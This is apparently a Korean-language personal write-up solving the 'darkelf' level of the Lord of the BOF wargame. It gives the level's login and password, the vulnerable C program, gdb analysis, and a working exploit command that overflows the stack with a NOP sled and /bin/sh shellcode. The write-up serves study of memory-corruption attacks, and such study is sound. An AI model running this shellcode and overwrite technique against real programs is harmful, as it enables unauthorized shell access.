login : wolfman
password : love eyuna
탐색전
/*
The Lord of the BOF : The Fellowship of the BOF
- darkelf
- egghunter + buffer hunter + check length of argv[1]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
환경변수 초기화해두고(환경변수 사용불가)
main함수 인자로 받고
strycpy에서 bof 취약점
buffer을 0으로 채워넣고 종료(쉘코드 삽입불가)
48번째가 \xbf 이어야 함
이러한 저번 문제에서
check the length of argument가 추가되었다.
인자의 길이를 검사해서 48이 넘으면 종료하는 것인데, 이를 어떻게 할지가 관건일 것이다.
일단 처음에 들었던 생각은 strlen의 반환형에 산술 오버플로우를 일으켜서 음수나 더 작은 수로 되돌아가게 한다는 생각이 있었고, (이건 너무 숫자가 커서 어려울 거 같기도 하고, strlen의 반환형은 unsigned int이다)
문제를 풀면서 argv 1만 계속 사용하길래 argv 2는 사용하지 않나..? 싶었다.
저번에 2였나 3번째 문제를 풀면서 메모리를 보다가 이 부분에는 인자가 들어가나보다~ 하고 넘어갔는데,
그 인자 부분을 활용하면 argv 2로도 shellcode를 실행할 수 있지 않을까?
그럼 인자가 어떻게 들어가는지 살펴보자.
cp darkelf myrkelf
풀이
gdb myrkelf
disas main
main 함수에서 strlen을 두 번째로 실행하는 부분, 그리고 eax(함수의 반환값)과 0x30(48)을 비교하는 부분을 보고 여기에서 argv 1과 관련된 주소를 구할 수 있으리라 생각했다.
이전에 dreamhack에서 32bit인 cdecl은 인자를 push 해둔다고 해서 break point를 main+185에 걸어두고 edx 값과 스택을 확인해보기로 한다.
b *main+185
r $(python -c "print 'A'*47+'\xbf' ") BBBB
main+185 에서 edx 주소를 확인해보면 0x41414141이 들어있는 것이 확인된다 이를 자세히 살펴보자.
인자의 주소는 0xbffffc1e가 맞고, 0x42인 B가 들어가는 부분은
이상해서 byte 단위로 살펴보았더니 문자열로 들어가서 null이 먼저 들어가고 B가 4개 들어가는 듯 하다.
그러면 bf까지 argv[1]으로 덮고나면 argv[2]의 시작 주소는 0xbffffc4e일테니
이를 이용해보도록 하자.
이번에도 그냥 혹시 몰라서 NOP을 채워서 하도록 하고 하는데 안된다.
0xbffffc4e보다 큰 주소로 넣어야할거 같았는데, 0xbffffc2e, 1e로 해야 동작한다.
그리고 어차피 인자로 주소를 돌릴거면 그냥 argv[1]에다가 해도 상관없지 않을까?
생성된 core파일을 통해 확인하고
\x90이 인자의 주소였던 0xbffffc1e보다 뒤에 있는 것을 확인한 뒤에 nop가 있는 0xbffffc2e로 주소를 설정해서 exploit 하게 만들었다.
다른 풀이에서 인자를 2개 사용한 풀이도 있었는데, buf가 0으로 채워지는 것이지 인자가 채워지는 것은 아니므로 인자로 흐름을 옮기면 이렇게 실행할 수 있을 것이다.
이제 darkelf도 해보자.
./darkelf $(python -c "print '\x90'*19+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'+'\x2e\xfc\xff\xbf' ")
kernel crashed
끝!